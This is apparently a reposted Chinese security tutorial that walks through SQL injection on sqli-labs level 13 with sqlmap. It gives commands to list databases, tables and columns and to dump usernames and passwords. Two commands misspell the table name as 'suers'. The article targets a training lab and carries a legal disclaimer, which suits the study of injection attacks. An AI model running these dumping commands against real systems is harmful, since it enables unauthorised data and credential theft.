从手工注入到自动化攻击——sqlmap实战

admin 2026-01-07 02:25:02 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文提倡SQL注入学习先手工分析注入点与类型,再用sqlmap验证。通过sqli-labs第13关实战,演示了布尔盲注与报错注入的识别,及使用sqlmap指定技术参数进行自动化利用的方法。文章强调工具用于验证结论而非替代思考,并特别提示了非法脱库的法律风险。 综合评分: 87 文章分类: WEB安全,渗透测试,安全工具,实战经验


技术能力≠使用边界,学习环境≠真实目标

python sqlmap.py -r "‪C:\Users\demon\Desktop\security\req.txt" --technique=E --current-db --tables --columns --threads=10

通过上面的命令,我们可以获取到当前数据库,及表格和数据列

我们可以单独指定查看我们需要的数据,如查看所有数据库–dbs

python sqlmap.py -r "‪C:\Users\demon\Desktop\security\req.txt" -p uname --dbs --batch

查看指定数据库表-D  –tables

python sqlmap.py -r "‪C:\Users\demon\Desktop\security\req.txt" -p uname -D security --tables --batch

可以获取security中有哪些表。

获取指定表users的字段

python sqlmap.py -r "‪C:\Users\demon\Desktop\security\req.txt" -p uname -D security -T suers --columns --batch

获取指定数据库security指定表users指定字段数据

python sqlmap.py -r "‪C:\Users\demon\Desktop\security\req.txt" -p uname -D security -T suers -C id,username,password --dump --batch

六、简要总结

在这一阶段,即使注入存在,页面也往往不再直接回显数据,单纯依赖 UNION 或错误显示已经不足以完成判断。相比“如何脱库”,更重要的是先确认:

  • 是否存在注入点
  • 注入属于哪一类型(Boolean / Error / Time)
  • 是否具备继续利用的价值

因此,本文采用的思路是:先通过手工方式判断注入点与注入类型,再使用 sqlmap 验证判断结果,并完成后续利用。

sqlmap 的作用并不是代替分析,而是在判断成立后,用来验证结论并完成自动化攻击。

这一方法同样适用于后续第 14~16 关,也更接近真实环境中的 SQL 注入分析流程。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:武文学网安 武文学网安《从手工注入到自动化攻击——sqlmap 实战》

评论:0   参与:  0